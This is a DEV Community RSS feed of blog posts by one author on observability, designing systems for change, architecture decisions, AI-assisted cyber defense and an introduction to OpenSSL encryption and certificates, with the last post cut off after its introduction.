<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Afringan</title>
    <description>The latest articles on DEV Community by Afringan (@farzandevlucky).</description>
    <link>https://dev.to/farzandevlucky</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3332542%2Fe1f3199c-16f3-431c-8134-60548a265e1d.jpg</url>
      <title>DEV Community: Afringan</title>
      <link>https://dev.to/farzandevlucky</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/farzandevlucky"/>
    <language>en</language>
    <item>
      <title>Observability Is Not Monitoring — It’s Product Thinking</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Mon, 16 Feb 2026 06:56:58 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/observability-is-not-monitoring-its-product-thinking-465h</link>
      <guid>https://dev.to/farzandevlucky/observability-is-not-monitoring-its-product-thinking-465h</guid>
      <description>&lt;p&gt;Most teams believe they understand their systems —&lt;br&gt;
until something unexpected happens.&lt;/p&gt;

&lt;p&gt;A spike in latency.&lt;br&gt;
A sudden drop in conversions.&lt;br&gt;
An error that wasn’t supposed to exist.&lt;/p&gt;

&lt;p&gt;Dashboards light up. Alerts fire.&lt;br&gt;
Something is clearly wrong.&lt;/p&gt;

&lt;p&gt;But knowing that something is wrong&lt;br&gt;
is not the same as understanding why.&lt;/p&gt;

&lt;p&gt;Observability is often reduced to charts and alerts.&lt;br&gt;
In reality, it’s something much deeper.&lt;/p&gt;

&lt;p&gt;It’s the ability to see how your assumptions behave in production.&lt;/p&gt;

&lt;p&gt;And that makes it a product concern — not just an operational one.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Monitoring Tells You Something Is Wrong
&lt;/h2&gt;

&lt;p&gt;Monitoring is about thresholds.&lt;/p&gt;

&lt;p&gt;CPU above 80%.&lt;br&gt;
Error rate above 2%.&lt;br&gt;
Latency above 300ms.&lt;/p&gt;

&lt;p&gt;It answers one question well:&lt;/p&gt;

&lt;p&gt;“Is the system healthy?”&lt;/p&gt;

&lt;p&gt;When the answer is “no,” alerts trigger.&lt;br&gt;
Teams react.&lt;br&gt;
Incidents begin.&lt;/p&gt;

&lt;p&gt;Monitoring is necessary.&lt;br&gt;
But it is reactive by nature.&lt;/p&gt;

&lt;p&gt;It tells you that the system deviated from expectations.&lt;br&gt;
It does not explain what expectation was violated — or why it existed in the first place.&lt;/p&gt;

&lt;p&gt;A dashboard can show you a spike.&lt;br&gt;
It cannot tell you what design decision made that spike inevitable.&lt;/p&gt;

&lt;p&gt;Monitoring detects symptoms.&lt;br&gt;
Observability investigates causes.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Observability Reveals Your Assumptions
&lt;/h2&gt;

&lt;p&gt;Every system is built on assumptions.&lt;/p&gt;

&lt;p&gt;We assume users will behave in certain ways.&lt;br&gt;
We assume traffic patterns will be predictable.&lt;br&gt;
We assume failures will be rare — or isolated.&lt;/p&gt;

&lt;p&gt;Most of the time, these assumptions are invisible.&lt;br&gt;
They live in design decisions, API contracts, timeouts, retry logic, UI flows.&lt;/p&gt;

&lt;p&gt;Until production challenges them.&lt;/p&gt;

&lt;p&gt;When a system behaves unexpectedly,&lt;br&gt;
it’s rarely “random.”&lt;/p&gt;

&lt;p&gt;It’s usually an assumption colliding with reality.&lt;/p&gt;

&lt;p&gt;Monitoring can tell you that latency increased.&lt;br&gt;
Observability allows you to ask:&lt;/p&gt;

&lt;p&gt;Which user segment?&lt;br&gt;
Which code path?&lt;br&gt;
Which dependency?&lt;br&gt;
Which input pattern?&lt;/p&gt;

&lt;p&gt;It shifts the conversation from&lt;br&gt;
“Why is the system broken?”&lt;br&gt;
to&lt;br&gt;
“What did we believe that turned out to be false?”&lt;/p&gt;

&lt;p&gt;And that question is not operational.&lt;br&gt;
It’s architectural.&lt;/p&gt;

&lt;p&gt;Because when assumptions fail,&lt;br&gt;
design decisions must evolve&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Logs, Metrics, and Traces Are Not the Point
&lt;/h2&gt;

&lt;p&gt;When people talk about observability,&lt;br&gt;
they often list tools and signals:&lt;/p&gt;

&lt;p&gt;Logs.&lt;br&gt;
Metrics.&lt;br&gt;
Traces.&lt;/p&gt;

&lt;p&gt;But those are just instruments.&lt;/p&gt;

&lt;p&gt;Owning a thermometer does not mean you understand health.&lt;br&gt;
Having dashboards does not mean you understand your system.&lt;/p&gt;

&lt;p&gt;Logs tell stories — but only if you know what story you’re looking for.&lt;br&gt;
Metrics show patterns — but only if the pattern matters.&lt;br&gt;
Traces reveal paths — but only if the path reflects real user behavior.&lt;/p&gt;

&lt;p&gt;The real question isn’t:&lt;/p&gt;

&lt;p&gt;“Do we collect enough data?”&lt;/p&gt;

&lt;p&gt;It’s:&lt;/p&gt;

&lt;p&gt;“Do we know what questions we need to ask?”&lt;/p&gt;

&lt;p&gt;Observability is not about volume.&lt;br&gt;
It’s about context.&lt;/p&gt;

&lt;p&gt;It’s about designing systems in a way that makes behavior explainable.&lt;/p&gt;

&lt;p&gt;If a feature fails,&lt;br&gt;
can you connect it to user intent?&lt;br&gt;
If performance drops,&lt;br&gt;
can you link it to a specific interaction pattern?&lt;/p&gt;

&lt;p&gt;Data without intention becomes noise.&lt;br&gt;
Signals without product thinking become decoration.&lt;/p&gt;

&lt;p&gt;Observability begins long before logs are written.&lt;br&gt;
It begins when you decide what should be understandable.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. If You Can’t See It, You Can’t Design It
&lt;/h2&gt;

&lt;p&gt;Design is not just about how something works in theory.&lt;br&gt;
It’s about how it behaves under real conditions.&lt;/p&gt;

&lt;p&gt;Real users don’t follow ideal flows.&lt;br&gt;
They click in unexpected places.&lt;br&gt;
They abandon steps.&lt;br&gt;
They retry.&lt;br&gt;
They hesitate.&lt;/p&gt;

&lt;p&gt;Without visibility into real behavior,&lt;br&gt;
design decisions become guesses.&lt;/p&gt;

&lt;p&gt;And guesses feel correct —&lt;br&gt;
until they reach production.&lt;/p&gt;

&lt;p&gt;When you can’t see how a feature is used,&lt;br&gt;
you can’t improve it.&lt;/p&gt;

&lt;p&gt;When you can’t trace where friction occurs,&lt;br&gt;
you can’t remove it.&lt;/p&gt;

&lt;p&gt;When you can’t measure impact,&lt;br&gt;
you can’t prioritize intelligently.&lt;/p&gt;

&lt;p&gt;Observability creates a feedback loop between intention and reality.&lt;/p&gt;

&lt;p&gt;It allows teams to see:&lt;/p&gt;

&lt;p&gt;Where assumptions break&lt;/p&gt;

&lt;p&gt;Where complexity accumulates&lt;/p&gt;

&lt;p&gt;Where performance silently degrades&lt;/p&gt;

&lt;p&gt;Where user experience diverges from design&lt;/p&gt;

&lt;p&gt;Without that loop, iteration becomes opinion-driven.&lt;/p&gt;

&lt;p&gt;With it, iteration becomes evidence-driven.&lt;/p&gt;

&lt;p&gt;And evidence is what turns software engineering&lt;br&gt;
into product engineering.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Systems That Are Observable Evolve Faster
&lt;/h2&gt;

&lt;p&gt;Systems don’t improve because teams work harder.&lt;/p&gt;

&lt;p&gt;They improve because teams see clearly.&lt;/p&gt;

&lt;p&gt;When behavior is visible,&lt;br&gt;
decisions become grounded.&lt;br&gt;
When impact is measurable,&lt;br&gt;
priorities become sharper.&lt;br&gt;
When assumptions are exposed,&lt;br&gt;
design becomes intentional.&lt;/p&gt;

&lt;p&gt;Observable systems reduce hesitation.&lt;/p&gt;

&lt;p&gt;Instead of arguing about what might be happening,&lt;br&gt;
teams can look.&lt;/p&gt;

&lt;p&gt;Instead of guessing where friction lives,&lt;br&gt;
they can trace it.&lt;/p&gt;

&lt;p&gt;Instead of reacting blindly to incidents,&lt;br&gt;
they can understand them.&lt;/p&gt;

&lt;p&gt;Speed in product development doesn’t come from writing more code.&lt;br&gt;
It comes from shortening the distance&lt;br&gt;
between decision and feedback.&lt;/p&gt;

&lt;p&gt;Observability closes that distance.&lt;/p&gt;

&lt;p&gt;It turns production into a learning environment.&lt;br&gt;
It transforms failure into insight.&lt;br&gt;
It converts uncertainty into iteration.&lt;/p&gt;

&lt;p&gt;Monitoring keeps systems running.&lt;/p&gt;

&lt;p&gt;Observability helps them grow.&lt;/p&gt;

&lt;p&gt;And growth — when it comes —&lt;br&gt;
belongs to systems that can see themselves clearly.&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>productengineering</category>
      <category>systemdesign</category>
    </item>
    <item>
      <title>Designing Systems That Can Change (Before They Scale)</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Thu, 05 Feb 2026 13:38:41 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/designing-systems-that-can-change-before-they-scale-154g</link>
      <guid>https://dev.to/farzandevlucky/designing-systems-that-can-change-before-they-scale-154g</guid>
      <description>&lt;p&gt;Intro&lt;/p&gt;

&lt;p&gt;A lot of system design conversations start with scale.&lt;br&gt;
Traffic numbers. Users. Load. Growth.&lt;/p&gt;

&lt;p&gt;Most systems will never reach that point.&lt;/p&gt;

&lt;p&gt;What they will face — sooner or later — is change.&lt;/p&gt;

&lt;p&gt;Features evolve.&lt;br&gt;
Assumptions break.&lt;br&gt;
Business priorities shift.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Designing for scale too early often creates rigidity.&lt;br&gt;&lt;br&gt;
Designing for change creates options.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This article is about building systems that can adapt before they grow — because adaptability is what keeps products alive long enough to matter.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Change Is Inevitable, Scale Is Not
&lt;/h2&gt;

&lt;p&gt;Every product changes.&lt;/p&gt;

&lt;p&gt;Even successful ones.&lt;br&gt;
Especially successful ones.&lt;/p&gt;

&lt;p&gt;User behavior rarely matches early assumptions.&lt;br&gt;
What looks essential today often becomes irrelevant tomorrow.&lt;/p&gt;

&lt;p&gt;Yet many systems are designed around a future that may never arrive.&lt;br&gt;
Premature scalability, complex abstractions, and rigid structures are often justified by growth that exists only in planning documents.&lt;/p&gt;

&lt;p&gt;Change, on the other hand, is guaranteed.&lt;/p&gt;

&lt;p&gt;Requirements will shift.&lt;br&gt;
Constraints will surface.&lt;br&gt;
Trade-offs will need to be revisited.&lt;/p&gt;

&lt;p&gt;Systems that assume change can absorb it.&lt;br&gt;
Systems that assume certainty tend to resist it — and eventually break.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Cost of Change Is the Real Metric
&lt;/h2&gt;

&lt;p&gt;One of the most painful sources of rigidity isn’t infrastructure.&lt;br&gt;
It’s user experience.&lt;/p&gt;

&lt;p&gt;Early on, it’s tempting to design flexible, powerful interfaces inspired by multiple tools.&lt;br&gt;
Pull ideas from here, patterns from there, and try to support everything at once.&lt;/p&gt;

&lt;p&gt;What often happens is the opposite of flexibility.&lt;/p&gt;

&lt;p&gt;The UX becomes unclear.&lt;br&gt;
Interactions feel heavy.&lt;br&gt;
It’s no longer obvious where users should click, what should open, or which actions matter.&lt;/p&gt;

&lt;p&gt;Instead of enabling exploration, the interface starts limiting it.&lt;/p&gt;

&lt;p&gt;Without a clear interaction model, even good ideas struggle to find a place.&lt;br&gt;
Every new feature raises questions:&lt;br&gt;
Where does this live?&lt;br&gt;
How does it connect to existing flows?&lt;br&gt;
What breaks if it changes?&lt;/p&gt;

&lt;p&gt;In contrast, starting with a simple, opinionated structure changes the equation.&lt;/p&gt;

&lt;p&gt;A constrained UX reduces the cost of change.&lt;br&gt;
Decisions become clearer.&lt;br&gt;
New ideas have obvious boundaries to fit into.&lt;/p&gt;

&lt;p&gt;Once a stable baseline exists, creativity accelerates.&lt;br&gt;
Not by adding complexity, but by building on top of clarity.&lt;/p&gt;

&lt;p&gt;Systems that change easily are rarely the most flexible at the beginning.&lt;br&gt;
They are the ones that start simple enough to evolve.&lt;br&gt;
Clarity always comes before flexibility.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Boundaries Matter More Than Components
&lt;/h2&gt;

&lt;p&gt;When systems become hard to change, the problem is rarely individual components.&lt;br&gt;
It’s the lack of clear boundaries between them.&lt;/p&gt;

&lt;p&gt;Components can be rewritten.&lt;br&gt;
Technologies can be replaced.&lt;br&gt;
But unclear boundaries make every change ripple across the system.&lt;/p&gt;

&lt;p&gt;Without boundaries, responsibilities blur.&lt;br&gt;
A small change in one area suddenly affects unrelated behavior elsewhere.&lt;br&gt;
Refactoring turns into risk management instead of improvement.&lt;/p&gt;

&lt;p&gt;Clear boundaries create safety.&lt;/p&gt;

&lt;p&gt;They define where ideas belong, where changes stop, and where assumptions live.&lt;br&gt;
They turn uncertainty into contained impact.&lt;/p&gt;

&lt;p&gt;In well-bounded systems, creativity doesn’t disappear — it becomes focused.&lt;br&gt;
New ideas don’t compete for space; they slot into existing structure.&lt;/p&gt;

&lt;p&gt;This is true for architecture, and just as true for user experience.&lt;br&gt;
When interaction boundaries are clear, both systems and users know what to expect.&lt;/p&gt;

&lt;p&gt;Boundaries aren’t constraints that limit growth.&lt;br&gt;
They are frameworks that make growth possible.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Delay Decisions You Can’t Undo
&lt;/h2&gt;

&lt;p&gt;Not all decisions are equal.&lt;/p&gt;

&lt;p&gt;Some choices are easy to reverse.&lt;br&gt;
Others quietly lock the system into a path that’s hard to escape.&lt;/p&gt;

&lt;p&gt;The most dangerous mistakes often come from decisions made too early —&lt;br&gt;
before constraints are clear, before usage is understood, before the product earns certainty.&lt;/p&gt;

&lt;p&gt;Good system design isn’t about making fewer decisions.&lt;br&gt;
It’s about delaying the irreversible ones.&lt;/p&gt;

&lt;p&gt;Reversible decisions create learning space.&lt;br&gt;
They allow experimentation without commitment, progress without lock-in.&lt;/p&gt;

&lt;p&gt;Irreversible decisions demand confidence — and confidence rarely exists at the beginning.&lt;/p&gt;

&lt;p&gt;When teams commit too early, change becomes expensive.&lt;br&gt;
When they delay wisely, change stays affordable — and learning stays cheap.&lt;/p&gt;

&lt;p&gt;Designing for change means knowing which decisions can wait,&lt;br&gt;
and having the discipline to let them wait.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Systems That Change, Survive
&lt;/h2&gt;

&lt;p&gt;Systems don’t fail because they change. They fail because they can’t.&lt;/p&gt;

&lt;p&gt;Products that survive aren’t the most scalable or the most flexible on paper.&lt;br&gt;
They’re the ones designed to absorb change without losing direction.&lt;/p&gt;

&lt;p&gt;Change exposes assumptions.&lt;br&gt;
It tests boundaries.&lt;br&gt;
It reveals which decisions were premature and which ones were wise.&lt;/p&gt;

&lt;p&gt;When systems are built to evolve, adaptation becomes routine instead of crisis.&lt;br&gt;
Teams respond instead of react. Growth becomes a consequence, not a gamble.&lt;/p&gt;

&lt;p&gt;In the end, scale is optional.&lt;br&gt;
Change is not.&lt;/p&gt;

&lt;p&gt;Designing systems that can change is not about future-proofing everything.&lt;br&gt;
It’s about keeping enough freedom today to make better decisions tomorrow.&lt;/p&gt;

</description>
      <category>systemdesign</category>
      <category>architecture</category>
    </item>
    <item>
      <title>Architecture Isn’t Diagrams — It’s Decisions</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Mon, 02 Feb 2026 11:12:00 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/architecture-isnt-diagrams-its-decisions-1hnb</link>
      <guid>https://dev.to/farzandevlucky/architecture-isnt-diagrams-its-decisions-1hnb</guid>
      <description>&lt;p&gt;&lt;strong&gt;It’s about how I think when turning an idea into a real system.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;Most people think system architecture starts with diagrams.&lt;br&gt;
Boxes, arrows, services, clouds.&lt;/p&gt;

&lt;p&gt;In reality, architecture starts much earlier — with decisions.&lt;br&gt;
Decisions about what matters, what can break, and what must survive.&lt;/p&gt;

&lt;p&gt;As a full-stack product engineer, I don’t design systems to look good on paper.&lt;br&gt;
I design them to survive real users, real failures, and real change.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Architecture Starts Before Code
&lt;/h2&gt;

&lt;p&gt;I don’t start with frameworks, databases, or infrastructure.&lt;br&gt;
I start with questions.&lt;/p&gt;

&lt;p&gt;Who is this for?&lt;br&gt;
What problem must never fail?&lt;br&gt;
What can be wrong and still be acceptable?&lt;/p&gt;

&lt;p&gt;Every system has one or two things that must not break.&lt;br&gt;
Finding those early matters more than choosing the “right” technology.&lt;/p&gt;

&lt;p&gt;In early-stage products, speed matters — but blind speed kills flexibility.&lt;br&gt;
Good architecture is not about predicting the future.&lt;br&gt;
It’s about reducing the cost of being wrong.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. MVP ≠ Minimal Code
&lt;/h2&gt;

&lt;p&gt;Many people misunderstand MVP as “the smallest amount of code possible.”&lt;br&gt;
In reality, an MVP is the smallest system that can teach you something meaningful.&lt;/p&gt;

&lt;p&gt;If a system can’t be observed, changed, or recovered,&lt;br&gt;
it’s not an MVP — it’s a prototype with a deadline.&lt;/p&gt;

&lt;p&gt;As a product engineer, I think about MVPs in terms of learning velocity, not feature count.&lt;br&gt;
Can it be deployed safely?&lt;br&gt;
Can direction change without rewriting everything?&lt;br&gt;
Can real user behavior be understood?&lt;/p&gt;

&lt;p&gt;Minimal code that collapses under its first real user is not fast.&lt;br&gt;
It’s expensive — just delayed.&lt;/p&gt;

&lt;p&gt;That’s why early MVPs often include things that seem “non-minimal”:&lt;br&gt;
basic logging, simple monitoring, and clear boundaries between components.&lt;/p&gt;

&lt;p&gt;Not to over-engineer —&lt;br&gt;
but to fail with visibility.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Choosing Boring Tech on Purpose
&lt;/h2&gt;

&lt;p&gt;Before choosing any technology, I ask a simpler question:&lt;br&gt;
does this system actually solve a real problem?&lt;/p&gt;

&lt;p&gt;If there is no real need, no stack can save it.&lt;/p&gt;

&lt;p&gt;One of the biggest traps in early-stage products is unnecessary ambition.&lt;br&gt;
Not technical ambition — feature ambition.&lt;/p&gt;

&lt;p&gt;Visually impressive elements, complex UI effects, or “nice-to-have” components can feel like progress,&lt;br&gt;
but they often push the system away from its core purpose.&lt;/p&gt;

&lt;p&gt;That’s why it’s often safer to begin with simpler building blocks.&lt;br&gt;
They allow teams to observe real behavior, performance limits, and constraints before committing to heavier abstractions.&lt;/p&gt;

&lt;p&gt;This is what “boring technology” really means.&lt;br&gt;
Not outdated tools, but delayed complexity.&lt;/p&gt;

&lt;p&gt;Boring technology gives systems the time and clarity&lt;br&gt;
to reveal what actually matters.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Designing for Change, Not Scale
&lt;/h2&gt;

&lt;p&gt;Many systems are designed for scale long before they need it.&lt;br&gt;
Millions of users, distributed services, complex infrastructure.&lt;/p&gt;

&lt;p&gt;Most of them will never reach that point.&lt;/p&gt;

&lt;p&gt;What they will face is change.&lt;/p&gt;

&lt;p&gt;Requirements change.&lt;br&gt;
User behavior changes.&lt;br&gt;
Business direction changes.&lt;/p&gt;

&lt;p&gt;Designing for change means accepting that today’s decisions are temporary.&lt;br&gt;
It means creating boundaries that can move, not structures that pretend to be permanent.&lt;/p&gt;

&lt;p&gt;Instead of asking “How will this scale?”&lt;br&gt;
a better question is “How painful will this be to change?”&lt;/p&gt;

&lt;p&gt;Clear interfaces, replaceable components, and simple data models matter more early on&lt;br&gt;
than theoretical throughput numbers.&lt;/p&gt;

&lt;p&gt;Scaling can be added later.&lt;br&gt;
Rigidity is much harder to remove.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Architecture Is a Living Thing
&lt;/h2&gt;

&lt;p&gt;Architecture isn’t something you finish.&lt;br&gt;
It’s something you maintain.&lt;/p&gt;

&lt;p&gt;Real systems evolve under pressure — from users, failures, and shifting goals.&lt;br&gt;
Every incident reveals assumptions.&lt;br&gt;
Every workaround exposes a weak boundary.&lt;/p&gt;

&lt;p&gt;Good architecture doesn’t try to prevent all problems.&lt;br&gt;
It assumes problems will happen and focuses on reducing the cost of responding to them.&lt;/p&gt;

&lt;p&gt;When systems are designed as living things,&lt;br&gt;
change becomes part of the process, not a threat to it.&lt;/p&gt;

&lt;p&gt;That’s why architecture isn’t about diagrams.&lt;br&gt;
It’s about decisions — and the willingness to revisit them.&lt;/p&gt;




&lt;p&gt;Short Author Bio&lt;/p&gt;

&lt;p&gt;I’m a full-stack product engineer focused on designing resilient systems — from early ideas to real-world production.&lt;/p&gt;

</description>
      <category>systemarchitecture</category>
    </item>
    <item>
      <title>AI Prevents Organized Human-Led Cyber Attacks</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Wed, 31 Dec 2025 10:30:31 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/ai-prevents-organized-human-led-cyber-attacks-1oc5</link>
      <guid>https://dev.to/farzandevlucky/ai-prevents-organized-human-led-cyber-attacks-1oc5</guid>
      <description>&lt;h2&gt;
  
  
  How OpenAI-Powered Systems Strengthen Modern Infrastructure Security
&lt;/h2&gt;

&lt;p&gt;When people hear “AI and cyberattacks,” the narrative is often misleading — as if AI itself is attacking systems.&lt;/p&gt;

&lt;p&gt;In reality, the opposite is happening.&lt;/p&gt;

&lt;p&gt;Modern security infrastructures increasingly rely on &lt;strong&gt;OpenAI-powered models&lt;/strong&gt; to &lt;strong&gt;detect&lt;/strong&gt;, &lt;strong&gt;correlate&lt;/strong&gt;, and &lt;strong&gt;prevent organized, human-led cyber attacks&lt;/strong&gt; before they cause damage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7rwokmqtckbetiz2lgx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7rwokmqtckbetiz2lgx.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  AI as an Infrastructure Layer — Not a Weapon
&lt;/h2&gt;

&lt;p&gt;OpenAI models are not autonomous attackers.&lt;br&gt;&lt;br&gt;
They function as &lt;strong&gt;intelligence layers&lt;/strong&gt; embedded into existing infrastructure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SIEM &amp;amp; SOC platforms
&lt;/li&gt;
&lt;li&gt;Cloud and hybrid environments
&lt;/li&gt;
&lt;li&gt;Network monitoring systems
&lt;/li&gt;
&lt;li&gt;DevSecOps pipelines
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Their role is to &lt;strong&gt;amplify human visibility&lt;/strong&gt;, not replace human judgment.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Infrastructure Advantages of OpenAI
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Detection Beyond Signatures
&lt;/h3&gt;

&lt;p&gt;Traditional security tools rely on known signatures.&lt;br&gt;&lt;br&gt;
OpenAI-powered systems analyze &lt;strong&gt;behavioral patterns&lt;/strong&gt;, allowing them to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detect zero-day-like behavior
&lt;/li&gt;
&lt;li&gt;Identify abnormal access flows
&lt;/li&gt;
&lt;li&gt;Spot coordinated lateral movement
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This makes them effective against &lt;strong&gt;previously unseen attack scenarios&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Correlating Distributed Events
&lt;/h3&gt;

&lt;p&gt;Organized attacks are rarely single events.&lt;br&gt;&lt;br&gt;
They are slow, distributed, and multi-stage.&lt;/p&gt;

&lt;p&gt;OpenAI models can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Correlate logs across systems
&lt;/li&gt;
&lt;li&gt;Connect weak signals into a single attack narrative
&lt;/li&gt;
&lt;li&gt;Identify intent, not just anomalies
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This capability is critical for detecting &lt;strong&gt;human-led, organized operations&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Reducing Alert Fatigue in SOCs
&lt;/h3&gt;

&lt;p&gt;One of the biggest infrastructure challenges today is &lt;strong&gt;alert overload&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;By summarizing logs, prioritizing threats, and filtering noise, OpenAI helps teams:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Focus on high-impact incidents
&lt;/li&gt;
&lt;li&gt;Reduce false positives
&lt;/li&gt;
&lt;li&gt;Improve response quality
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI here acts as a &lt;strong&gt;force multiplier&lt;/strong&gt;, not an analyst replacement.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Faster Incident Response
&lt;/h3&gt;

&lt;p&gt;In real-world environments, speed matters.&lt;/p&gt;

&lt;p&gt;AI-assisted analysis enables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Faster Mean Time to Detect (MTTD)
&lt;/li&gt;
&lt;li&gt;Faster Mean Time to Respond (MTTR)
&lt;/li&gt;
&lt;li&gt;Earlier containment before escalation
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This directly reduces both operational and financial risk.&lt;/p&gt;




&lt;h2&gt;
  
  
  From Reactive Defense to Proactive Security
&lt;/h2&gt;

&lt;p&gt;Without AI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attacks are often discovered &lt;em&gt;after&lt;/em&gt; impact.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With OpenAI-powered analysis:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attack paths are predicted
&lt;/li&gt;
&lt;li&gt;Early indicators are flagged
&lt;/li&gt;
&lt;li&gt;Defensive actions happen sooner
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This shifts infrastructure security from &lt;strong&gt;reactive&lt;/strong&gt; to &lt;strong&gt;proactive&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;Cyberattacks are not becoming more dangerous because of AI.&lt;br&gt;&lt;br&gt;
They are becoming more &lt;strong&gt;complex and organized&lt;/strong&gt; because humans are coordinating them better.&lt;/p&gt;

&lt;p&gt;AI — especially OpenAI-based systems — is one of &lt;strong&gt;our strongest allies&lt;/strong&gt; in matching and exceeding that complexity on the defensive side.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;AI does not launch cyberattacks.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;It helps infrastructure teams see human-led attacks earlier — and stop them faster.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;strong&gt;Farzan Afringan&lt;/strong&gt; — Infrastructure security &amp;amp; AI-enabled defense.&lt;br&gt;&lt;br&gt;
Website: &lt;a href="https://farzan.us" rel="noopener noreferrer"&gt;https://farzan.us&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>openai</category>
    </item>
    <item>
      <title>Encryption &amp; SSL Certificates with OpenSSL</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Tue, 21 Oct 2025 10:47:18 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/understanding-encryption-and-building-ssl-certificates-with-openssl-28ke</link>
      <guid>https://dev.to/farzandevlucky/understanding-encryption-and-building-ssl-certificates-with-openssl-28ke</guid>
      <description>&lt;p&gt;⚪ In this article, you'll learn the fundamentals of encryption and how SSL certificates work.&lt;br&gt;&lt;br&gt;
We'll go step by step through generating a &lt;strong&gt;private key&lt;/strong&gt;, creating a &lt;strong&gt;Certificate Signing Request (CSR)&lt;/strong&gt;,&lt;br&gt;&lt;br&gt;
and producing a &lt;strong&gt;self-signed SSL certificate&lt;/strong&gt; using &lt;strong&gt;OpenSSL&lt;/strong&gt;, one of the most powerful and widely used tools for securing web servers and managing SSL/TLS certificates.&lt;/p&gt;


&lt;h2&gt;
  
  
  What Is Encryption?
&lt;/h2&gt;

&lt;p&gt;Encryption is the process of converting plain information (plaintext) into unreadable data (ciphertext) using a cryptographic algorithm. It ensures the confidentiality, integrity, and authenticity of data during communication.&lt;br&gt;
For example, when you visit a website that uses HTTPS, your browser and the server exchange encrypted data to prevent eavesdropping&lt;/p&gt;

&lt;p&gt;+-----------+&lt;br&gt;
| Plaintext |&lt;br&gt;
+-----------+&lt;br&gt;
      |&lt;br&gt;
      |  Encrypt 🔒&lt;br&gt;
      v&lt;br&gt;
+------------+&lt;br&gt;
| Ciphertext |&lt;br&gt;
+------------+&lt;br&gt;
      |&lt;br&gt;
      |  Decrypt 🔑&lt;br&gt;
      v&lt;br&gt;
+-----------+&lt;br&gt;
| Plaintext |&lt;br&gt;
+-----------+&lt;/p&gt;
&lt;h2&gt;
  
  
  What Is SSL/TLS?
&lt;/h2&gt;

&lt;p&gt;SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are cryptographic protocols designed to secure data over the internet.&lt;br&gt;
They rely on digital certificates and asymmetric encryption to create a secure channel between client and server&lt;/p&gt;
&lt;h2&gt;
  
  
  Introduction to OpenSSL
&lt;/h2&gt;

&lt;p&gt;OpenSSL is an open-source toolkit for implementing SSL/TLS.&lt;br&gt;
It includes:&lt;/p&gt;
